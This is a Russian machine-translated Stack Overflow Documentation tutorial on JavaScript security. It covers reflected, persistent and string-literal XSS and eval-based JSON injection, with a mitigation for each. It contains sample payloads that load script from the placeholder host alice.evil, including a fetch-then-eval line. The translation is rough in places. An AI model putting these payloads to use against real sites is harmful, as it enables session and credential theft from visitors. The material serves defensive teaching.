Поиск…


Вступление

Это набор общих проблем безопасности JavaScript, таких как XSS и eval injection. В этой коллекции также описывается, как смягчить эти проблемы безопасности.

Отраженный межсайтовый скриптинг (XSS)

Предположим, Джо владеет веб-сайтом, который позволяет вам войти в систему, просмотреть видео щенков и сохранить их в своей учетной записи.

Всякий раз, когда пользователь выполняет поиск на этом веб-сайте, они перенаправляются на https://example.com/search?q=brown+puppies .

Если поиск пользователя не соответствует чему-либо, то они видят сообщение в строках:

Ваш поиск ( коричневые щенки ) ничего не соответствовал. Попробуйте снова.

На бэкэнд это сообщение отображается следующим образом:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Однако, когда Алиса ищет <h1>headings</h1> , она возвращает это:

Результат поиска (

заголовки

) ничего не соответствовало. Попробуйте снова.

Сырой HTML:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Затем Алис ищет <script>alert(1)</script> , она видит:

Ваш поиск () не соответствует чему-либо. Попробуйте снова.

А также:

Поле предупреждения, в котором указано «1».

Затем Алис ищет <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies и копирует ссылку в своей адресной строке, а не электронную почту Боба:

Боб,

Когда я ищу симпатичных щенков , ничего не происходит!

Чем Алиса успешно получает Боба, чтобы запустить ее сценарий, когда Боб вошел в свой аккаунт.

Смягчение:

  1. Выбери все угловые скобки в поисках, прежде чем возвращать поисковый запрос, когда результаты не найдены.
  2. Не возвращайте поисковый запрос, если результаты не найдены.
  3. Добавить политику безопасности контента, которая отказывается загружать активный контент из других доменов

Постоянный межсайтовый скриптинг (XSS)

Предположим, что Боб владеет социальным сайтом, который позволяет пользователям персонализировать свои профили.

Алиса выходит на сайт Боба, создает учетную запись и переходит к настройкам своего профиля. Она задает свое описание профиля, чтобы I'm actually too lazy to write something here.

Когда ее друзья просматривают ее профиль, этот код запускается на сервере:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Результат в этом HTML:

<div>I'm actually too lazy to write something here.</div>

Затем Алиса задает описание своего профиля <b>I like HTML</b> . Когда она посещает ее профиль, вместо того, чтобы видеть

<b> Мне нравится HTML </ b>

она видит

Мне нравится HTML

Затем Алиса задает профиль

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Всякий раз, когда кто-то посещает ее профиль, они получают скрипт Алисы на веб-сайте Боба, когда он входит в свою учетную запись.

смягчение

  1. Угловые скобки в описаниях профилей и т. Д.
  2. Храните описания профилей в текстовом файле, который затем .innerText скриптом, который добавляет описание через .innerText
  3. Добавить политику безопасности контента, которая отказывается загружать активный контент из других доменов

Постоянный межсайтовый скриптинг из строковых литералов JavaScript

Предположим, что Боб владеет сайтом, который позволяет публиковать публичные сообщения.

Сообщения загружаются сценарием, который выглядит так:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

Функция addMessage добавляет отправленное сообщение в DOM. Однако, чтобы избежать XSS, любой HTML-код в сообщениях не отображается .

Сценарий создается на сервере следующим образом:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Так Алиса отправляет сообщение, в котором говорится: « My mom said: "Life is good. Pie makes it better. " . Затем, когда она просматривает сообщение, вместо того, чтобы видеть ее сообщение, она видит ошибку в консоли:

Uncaught SyntaxError: missing ) after argument list

Зачем? Поскольку сгенерированный скрипт выглядит так:

addMessage("My mom said: "Life is good. Pie makes it better. "");

Это синтаксическая ошибка. Than Alice:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Тогда сгенерированный скрипт выглядит так:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

Это добавляет сообщение, которое I like pie , но оно также загружает и запускает https://alice.evil/js_xss.js всякий раз, когда кто-то посещает сайт Боба.

Смягчение:

  1. Передайте сообщение, отправленное в JSON.stringify ()
  2. Вместо динамического построения сценария создайте текстовый файл, содержащий все сообщения, которые позднее извлекаются скриптом
  3. Добавить политику безопасности контента, которая отказывается загружать активный контент из других доменов

Почему скрипты от других людей могут нанести вред вашему сайту и его посетителям

Если вы не думаете, что вредоносные скрипты могут нанести вред вашему сайту, вы ошибаетесь . Вот список того, что может сделать вредоносный скрипт:

  1. Удалите себя из DOM, чтобы его нельзя было проследить
  2. Украдите файлы cookie сеансов пользователей и разрешите автору сценария войти в систему и выдать им
  3. Покажите фальшивку «Ваша сессия истекла. Пожалуйста, войдите снова». сообщение, которое отправляет пароль пользователя автору сценария .
  4. Зарегистрируйте злоумышленника, который запускает вредоносный скрипт при каждом посещении страницы на этом веб-сайте.
  5. Поместите поддельную paywall, требующую, чтобы пользователи платили деньги за доступ к сайту, который фактически отправляется автору сценария .

Пожалуйста, не думайте, что XSS не повредит вашему сайту и его посетителям.

Evaled JSON injection

Предположим, что всякий раз, когда кто-то посещает страницу профиля на веб-сайте Боба, выбирается следующий URL:

https://example.com/api/users/1234/profiledata.json

С таким ответом:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Чем эти данные анализируются и вставлены:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Кажется, хорошо, правда? Неправильно.

Что делать, если чье-то описание Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. "Кажется странным, но если это плохо сделано,

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

И это будет eval :

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Если вы не думаете, что это проблема, вставьте это в свою консоль и посмотрите, что произойдет.

Mitagation

  • Используйте JSON.parse вместо eval, чтобы получить JSON. В общем, не используйте eval и определенно не используйте eval с чем-то, что пользователь мог бы контролировать. Eval создает новый контекст выполнения , создавая хит производительности .

  • Правильно избегайте " и \ в пользовательских данных перед тем, как поместить его в JSON. Если вы просто избежите " , то это произойдет:

    Hello! \"});alert(1);({
    

    Будет преобразован в:

    "Hello! \\"});alert(1);({"
    

    К сожалению. Не забудьте избежать и \ и " , или просто использовать JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Лицензировано согласно CC BY-SA 3.0
Не связан с Stack Overflow